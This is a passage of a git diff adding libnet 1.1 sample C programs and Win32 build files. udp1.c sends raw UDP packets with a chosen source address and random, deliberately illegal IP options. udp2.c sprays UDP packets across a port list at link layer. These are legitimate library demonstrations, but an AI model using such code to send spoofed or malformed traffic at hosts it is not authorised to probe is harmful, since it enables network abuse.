+ LIBNET_TOKEN_RING_FRAME,
+ LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */
+ tr_dst, /* token ring destination */
+ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */
+ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */
+ 0x03, /* Unnumbered info/frame */
+ org_code, /* Organization Code */
+ TOKEN_RING_TYPE_IP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build token ring header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/udp1.c b/libnet/sample/udp1.c
new file mode 100644
index 0000000..b95e8e1
--- /dev/null
+++ b/libnet/sample/udp1.c
@@ -0,0 +1,223 @@
+/*
+ * $Id: udp1.c,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build a UDP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+int
+main(int argc, char *argv[])
+{
+ int c, i, j, build_ip;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t ip, ipo;
+ libnet_ptag_t udp;
+ char *payload;
+ u_short payload_s;
+ struct libnet_stats ls;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ u_char opt[20];
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: UDP + IP options[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ ip = ipo = udp = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ for (build_ip = 0, i = 0; i < 10; i++)
+ {
+ udp = libnet_build_udp(
+ src_prt, /* source port */
+ dst_prt + i, /* destination port */
+ LIBNET_UDP_H + payload_s, /* packet length */
+ 0, /* checksum */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ udp); /* libnet id */
+ if (udp == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (1)
+ {
+ build_ip = 0;
+ /* this is not a legal options string */
+ for (j = 0; j < 20; j++)
+ {
+ opt[j] = libnet_get_prand(LIBNET_PR2);
+ }
+ ipo = libnet_build_ipv4_options(
+ opt,
+ 20,
+ l,
+ ipo);
+ if (ipo == -1)
+ {
+ fprintf(stderr, "Can't build IP options: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + 20 + payload_s + LIBNET_UDP_H, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip,
+ dst_ip,
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ ip); /* libnet id */
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ fprintf(stderr, "%d byte packet, ready to go\n",
+ libnet_getpacket_size(l));
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte UDP packet; check the wire.\n", c);
+ }
+ }
+ libnet_stats(l, &ls);
+ fprintf(stderr, "Packets sent: %lld\n"
+ "Packet errors: %lld\n"
+ "Bytes written: %lld\n",
+ ls.packets_sent, ls.packet_errors, ls.bytes_written);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+/* EOF */
diff --git a/libnet/sample/udp2.c b/libnet/sample/udp2.c
new file mode 100644
index 0000000..706a62b
--- /dev/null
+++ b/libnet/sample/udp2.c
@@ -0,0 +1,232 @@
+/*
+ * $Id: udp2.c,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build a UDP packet using port list chains
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char **argv)
+{
+ int c, build_ip;
+ struct timeval r;
+ struct timeval s;
+ struct timeval e;
+ libnet_t *l;
+ libnet_ptag_t udp;
+ char *payload;
+ libnet_ptag_t t;
+ struct libnet_stats ls;
+ u_int16_t payload_s;
+ u_int32_t src_ip, dst_ip;
+ u_int16_t bport, eport, cport;
+ libnet_plist_t plist, *plist_p;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1.2 packet shaping: UDP2[link]\n");
+
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ payload = NULL;
+ payload_s = 0;
+ plist_p = NULL;
+ while ((c = getopt(argc, argv, "d:s:p:P:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg,
+ LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg,
+ LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 'P':
+ plist_p = &plist;
+ if (libnet_plist_chain_new(l, &plist_p, optarg) == -1)
+ {
+ fprintf(stderr, "Bad token in port list: %s\n",
+ libnet_geterror(l));
+ exit(1);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip || !plist_p)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ udp = 0;
+#if !(__WIN32__)
+ gettimeofday(&s, NULL);
+#else
+ /* This obviously is not as good - but it compiles now. */
+ s.tv_sec = time(NULL);
+ s.tv_usec = 0;
+#endif
+
+ build_ip = 1;
+ while (libnet_plist_chain_next_pair(plist_p, &bport, &eport))
+ {
+ while (!(bport > eport) && bport != 0)
+ {
+ cport = bport++;
+ udp = libnet_build_udp(
+ 1025, /* source port */
+ cport, /* destination port */
+ LIBNET_UDP_H + payload_s, /* packet size */
+ 0, /* checksum */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ udp); /* libnet id */
+ if (udp == -1)
+ {
+ fprintf(stderr, "Can't build UDP header (at port %d): %s\n",
+ cport, libnet_geterror(l));
+ goto bad;
+ }
+ if (build_ip)
+ {
+ build_ip = 0;
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet dest */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ }
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "write error: %s\n", libnet_geterror(l));
+ }
+ else
+ {
+ fprintf(stderr, "wrote %d byte UDP packet to port %d\r", c,
+ cport);
+ }
+ }
+ fprintf(stderr, "\n");
+ }
+
+#if !(__WIN32__)
+ gettimeofday(&e, NULL);
+#else
+ /* This obviously is not as good - but it compiles now. */
+ s.tv_sec = time(NULL);
+ s.tv_usec = 0;
+#endif
+
+ libnet_timersub(&e, &s, &r);
+ fprintf(stderr, "Total time spent in loop: %d.%d\n", r.tv_sec, r.tv_usec);
+
+ libnet_stats(l, &ls);
+ fprintf(stderr, "Packets sent: %lld\n"
+ "Packet errors: %lld\n"
+ "Bytes written: %lld\n",
+ ls.packets_sent, ls.packet_errors, ls.bytes_written);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s s_ip -d d_ip -P port list [-p payload]\n", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/win32/CVS/Entries b/libnet/sample/win32/CVS/Entries
new file mode 100644
index 0000000..98702e5
--- /dev/null
+++ b/libnet/sample/win32/CVS/Entries
@@ -0,0 +1,9 @@
+/getopt.c/1.1/Mon Jun 30 20:38:44 2003//
+D/arp////
+D/cdp////
+D/dhcp_discover////
+D/dns////
+D/get_addr////
+D/icmp_echo_cq////
+D/tcp1////
+D/udp1////
diff --git a/libnet/sample/win32/CVS/Repository b/libnet/sample/win32/CVS/Repository
new file mode 100644
index 0000000..75f9ae6
--- /dev/null
+++ b/libnet/sample/win32/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32
diff --git a/libnet/sample/win32/CVS/Root b/libnet/sample/win32/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/arp/CVS/Entries b/libnet/sample/win32/arp/CVS/Entries
new file mode 100644
index 0000000..e8eb30c
--- /dev/null
+++ b/libnet/sample/win32/arp/CVS/Entries
@@ -0,0 +1,2 @@
+/arp.vcproj/1.2/Fri Oct 17 00:20:53 2003//
+D
diff --git a/libnet/sample/win32/arp/CVS/Repository b/libnet/sample/win32/arp/CVS/Repository
new file mode 100644
index 0000000..7d37161
--- /dev/null
+++ b/libnet/sample/win32/arp/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/arp
diff --git a/libnet/sample/win32/arp/CVS/Root b/libnet/sample/win32/arp/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/arp/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/arp/arp.vcproj b/libnet/sample/win32/arp/arp.vcproj
new file mode 100644
index 0000000..c247a4b
--- /dev/null
+++ b/libnet/sample/win32/arp/arp.vcproj
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="arp"
+ ProjectGUID="{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/arp.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/arp.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;WPCAP"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/arp.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\arp.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/cdp/CVS/Entries b/libnet/sample/win32/cdp/CVS/Entries
new file mode 100644
index 0000000..2541048
--- /dev/null
+++ b/libnet/sample/win32/cdp/CVS/Entries
@@ -0,0 +1,2 @@
+/cdp.vcproj/1.4/Thu Nov 27 20:30:49 2003//
+D
diff --git a/libnet/sample/win32/cdp/CVS/Repository b/libnet/sample/win32/cdp/CVS/Repository
new file mode 100644
index 0000000..219f5d2
--- /dev/null
+++ b/libnet/sample/win32/cdp/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/cdp
diff --git a/libnet/sample/win32/cdp/CVS/Root b/libnet/sample/win32/cdp/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/cdp/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/cdp/cdp.vcproj b/libnet/sample/win32/cdp/cdp.vcproj
new file mode 100644
index 0000000..a1be0b0
--- /dev/null
+++ b/libnet/sample/win32/cdp/cdp.vcproj
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="cdp"
+ ProjectGUID="{8DB5763E-7AA2-43BE-9D7A-1F4138DEA904}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/cdp.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/arp.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/cdp.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\cdp.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/dhcp_discover/CVS/Entries b/libnet/sample/win32/dhcp_discover/CVS/Entries
new file mode 100644
index 0000000..fa17926
--- /dev/null
+++ b/libnet/sample/win32/dhcp_discover/CVS/Entries
@@ -0,0 +1,2 @@
+/dhcp_discover.vcproj/1.3/Thu Nov 27 20:28:17 2003//
+D
diff --git a/libnet/sample/win32/dhcp_discover/CVS/Repository b/libnet/sample/win32/dhcp_discover/CVS/Repository
new file mode 100644
index 0000000..9c64da1
--- /dev/null
+++ b/libnet/sample/win32/dhcp_discover/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample/win32/dhcp_discover
diff --git a/libnet/sample/win32/dhcp_discover/CVS/Root b/libnet/sample/win32/dhcp_discover/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/win32/dhcp_discover/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj b/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj
new file mode 100644
index 0000000..f66fe8a
--- /dev/null
+++ b/libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="dhcp_discover"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dhcp_discover.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
